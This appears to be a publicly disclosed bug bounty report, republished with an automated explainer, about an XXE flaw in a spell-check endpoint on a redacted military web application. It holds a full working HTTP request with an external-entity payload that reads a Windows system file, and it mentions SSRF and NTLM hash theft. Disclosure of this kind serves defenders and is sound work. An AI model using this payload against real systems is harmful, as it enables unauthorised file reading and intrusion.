[HTA2] XXE on https://███ via SpellCheck Endpoint.
An XML External Entity (XXE) vulnerability existed in a spell-check endpoint, allowing an attacker to read local files and make server-side requests. The attacker could also steal NTLM hashes and cause denial of service.
- Triaged in 17 hours
- Fixed in 11 months
- Paid in 2 months
- Disclosed after 3.6 years
Summary:
There is a full read XXE vulnerability on
Steps To Reproduce:
- Log into
https://██████/with the credentials██████ - Get your cookies and make the following HTTP Request with them
POST /Kview/CustomCodeBehind/Base/Utilities/RapidSpellHelpFile.aspx HTTP/1.1
Host: ███████
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
Content-Length: 1238
Connection: close
Referer: https://██████████/Kview/CustomCodeBehind/Base/PersonalHomepage/PersonalHomepageCalendarAddEvent.aspx?EventAction=AddEvent&EventDate=10/16/2019%2012:00:01%20AM
Cookie: [COOKIES]
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY a SYSTEM "file:///c:\Windows\System32\Drivers\etc\hosts">]>
<r><resp>xml</resp><textToCheck>&a;</textToCheck><IAW/><UserDictionaryFile/><DictFile>d:\Meridian\MWRA\MG\11.1\KView\CustomCodeBehind\Base/en-US/DICT-EN-US-USEnglish.dict</DictFile><SuggestionsMethod>HASHING_SUGGESTIONS</SuggestionsMethod><LanguageParser>ENGLISH</LanguageParser><SeparateHyphenWords>False</SeparateHyphenWords><V2Parser>True</V2Parser><SSLFriendlyPage>/KView/CustomCodeBehind/WebResource.axd?d=zqrwmEhOpCtb9wLAM9uWrOzT_jYv5Un0ehQNczyIJSp-b9XbsULhZuZahCBf8Qk8anUm2kaMbXSDgD8qtwoc7T6Vnc9cbWVmTwIkPCbvIqLzTEGbDgA2oGtmx8o1&t=633221022140000000</SSLFriendlyPage><SuggestSplitWords>True</SuggestSplitWords><IncludeUserDictionaryInSuggestions>True</IncludeUserDictionaryInSuggestions><WarnDuplicates>True</WarnDuplicates><IgnoreWordsWithDigits>True</IgnoreWordsWithDigits><CheckCompoundWords>False</CheckCompoundWords><LookIntoHyphenatedText>True</LookIntoHyphenatedText><GuiLanguage>ENGLISH</GuiLanguage><IgnoreXML>False</IgnoreXML><IgnoreCapitalizedWords>False</IgnoreCapitalizedWords><ConsiderationRange>-1</ConsiderationRange><IgnoreURLsAndEmailAddresses>True</IgnoreURLsAndEmailAddresses><AllowMixedCase>False</AllowMixedCase></r>
You will see the contents of c:\Windows\System32\Drivers\etc\hosts in the response:
██████████
We can also make HTTP requests to external and internal applications and read the full responses. We can also like steal NTLM domain hashes.
████
Supporting Material/References:
Impact
Critical, an attacker can read local files, make HTTP requests to internal applications and read the responses, steal NTLM hashes, and also completely deny service to the application.
Best, Corben Leo (@cdl)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the XML parser was configured to allow external entities and did not disable DTD processing.
Impact
An attacker could read local files, make requests to internal applications and read responses, steal NTLM hashes, and cause denial of service.
What the attacker needed
Valid credentials; access to the spell-check endpoint
How it was found
- Log into the application with the provided credentials.
- Capture your session cookies.
- Send a crafted XML request to the spell-check endpoint including the cookies.
- Observe the contents of a local file in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
XXE is a flaw where an XML parser processes special instructions that can fetch files or make network requests. Here, the spell-check feature accepted XML input and allowed an attacker to read files on the server and access internal systems.
What is XXE?
An XML parser resolves entities the attacker defines, reading local files or making the server send requests.